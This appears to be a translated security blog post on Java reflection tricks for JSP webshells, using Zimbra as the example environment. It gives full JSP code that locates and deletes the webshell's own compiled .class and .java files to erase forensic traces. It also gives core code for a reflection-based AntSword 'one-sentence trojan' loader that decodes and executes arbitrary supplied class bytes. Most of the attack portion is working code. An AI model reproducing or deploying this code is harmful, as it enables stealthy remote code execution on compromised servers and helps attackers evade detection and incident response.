0x00 Preface

---

As we know, when accessing a JSP file, the Java environment first converts the JSP file into a .class bytecode file, which is then loaded by the Java Virtual Machine. This results in the generation of corresponding .class bytecode files on the Java server. For webshells, this leaves traces.

To achieve self-deletion of .class bytecode files, we can obtain the path of the .class bytecode file via reflection and then delete it. This article will use the Zimbra environment as an example, combined with AntSword-JSP-Template, to analyze the exploitation approach.

0x01 Introduction

---

This article will cover the following:

  • Self-deletion of webshell compiled files via reflection
  • Implementation of AntSword-JSP-Template via reflection

0x02 Self-Deletion of Webshell Compiled Files via Reflection

---

Based on the content of the previous article 'Java Exploitation Techniques – Modifying Properties via Reflection', we follow the mapping request->_scope->_servlet->rctxt->jsps. Through multiple reflections, we can eventually obtain the JspServletWrapper instance.

Examining the members of the JspServletWrapper class, jsps->value->ctxt->servletJavaFileName stores the path of the .java compiled file, and jsps->value->ctxt->classFileName stores the path of the .class compiled file, as shown in the example figure below.

Alt text

To filter only the current JSP, you can obtain the current Servlet using the getServletPath() method of the request class, as shown in the figure below.

Alt text

To get servletJavaFileName from the ctxt object, you can call the getServletJavaFileName() method of the JspCompilationContext class, as shown in the figure below.

Alt text

To get classFileName from the ctxt object, you can call the getClassFileName() method of the JspCompilationContext class, as shown in the figure below.

Alt text

In summary, we can derive the implementation code for obtaining the compilation file path through reflection as follows:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@ page import="org.apache.jasper.JspCompilationContext" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object obj1 = f.get(request);
f = obj1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object obj2 = f.get(obj1);
f = obj2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object obj3 = f.get(obj2);
f = obj3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap obj4 = (ConcurrentHashMap)f.get(obj3);
JspServletWrapper jsw = (JspServletWrapper)obj4.get(request.getServletPath());
JspCompilationContext ctxt = jsw.getJspEngineContext();
out.println(ctxt.getServletJavaFileName());
out.println(ctxt.getClassFileName());
%>

The code to delete compiled files is as follows:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.jasper.servlet.JspServletWrapper" %>
<%@ page import="org.apache.jasper.JspCompilationContext" %>
<%@ page import="java.io.File" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object obj1 = f.get(request);
f = obj1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object obj2 = f.get(obj1);
f = obj2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object obj3 = f.get(obj2);
f = obj3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap obj4 = (ConcurrentHashMap)f.get(obj3);
JspServletWrapper jsw = (JspServletWrapper)obj4.get(request.getServletPath());
JspCompilationContext ctxt = jsw.getJspEngineContext();
File targetFile;
targetFile = new File(ctxt.getClassFileName());
targetFile.delete();
targetFile = new File(ctxt.getServletJavaFileName());
targetFile.delete();
%>

0x03 Implementing AntSword-JSP-Template via Reflection

---

In 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption: Java Edition', rebeyond introduced the implementation method of Java one-sentence trojans, which is also adopted by AntSword-JSP-Template.

During my testing of AntSword-JSP-Template, I discovered that an additional compiled file is generated. For example, for test.jsp, accessing it generates compiled files test_jsp.class and test_jsp.java. If AntSword-JSP-Template is used, an additional compiled file test_jsp$U.class is generated.

rebeyond mentioned in 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption: Java Edition':

"Normally, Java does not provide a direct interface for parsing class byte arrays. However, the classloader internally implements a protected defineClass method, which can directly convert byte[] to Class."

"Since this method is protected, we cannot call it directly from outside. Of course, we can modify the protected attribute through reflection, but we choose a more convenient method: directly customize a class that inherits from classloader and call the parent class's defineClass method in the subclass."

Here, I intend to modify the protected attribute through reflection and call the defineClass() method of the ClassLoader class.

In the ClassLoader class, the defineClass() method has multiple overloads, as shown in the figure below.

Alt text

Here, defineClass(byte[] b, int off, int len) is selected.

rebeyond also mentioned in 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption: Java Edition':

"To successfully call objects such as Request, Response, and Session in equals, another issue to consider is the ClassLoader problem. The JVM identifies the uniqueness of a class through ClassLoader + classpath. The class defined by calling a custom ClassLoader's defineClass does not share the same ClassLoader as classes like Request, Response, and Session, so accessing these classes in equals will result in a java.lang.ClassNotFoundException exception."

The solution is to override the following constructor of ClassLoader and pass a specified ClassLoader instance:

ClassLoader loader = new ClassLoader(getClass().getClassLoader()) {};

Finally, the core code for implementing AntSword-JSP-Template through reflection is obtained:

Method d = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
d.setAccessible(true);
ClassLoader loader = new ClassLoader(getClass().getClassLoader) {};
Class result = (Class) d.invoke(loader, base64Decode(data), 0, base64Decode(data).length);
result.newInstance().equals(pageContext);

After accessing test.jsp of AntSword-JSP-Template implemented via reflection, the additionally generated compiled file is test_jsp$1.class

0x04 Summary

---

This article introduces the self-deletion of webshell compiled files and AntSword-JSP-Template implemented via reflection, documenting insights from learning about reflection.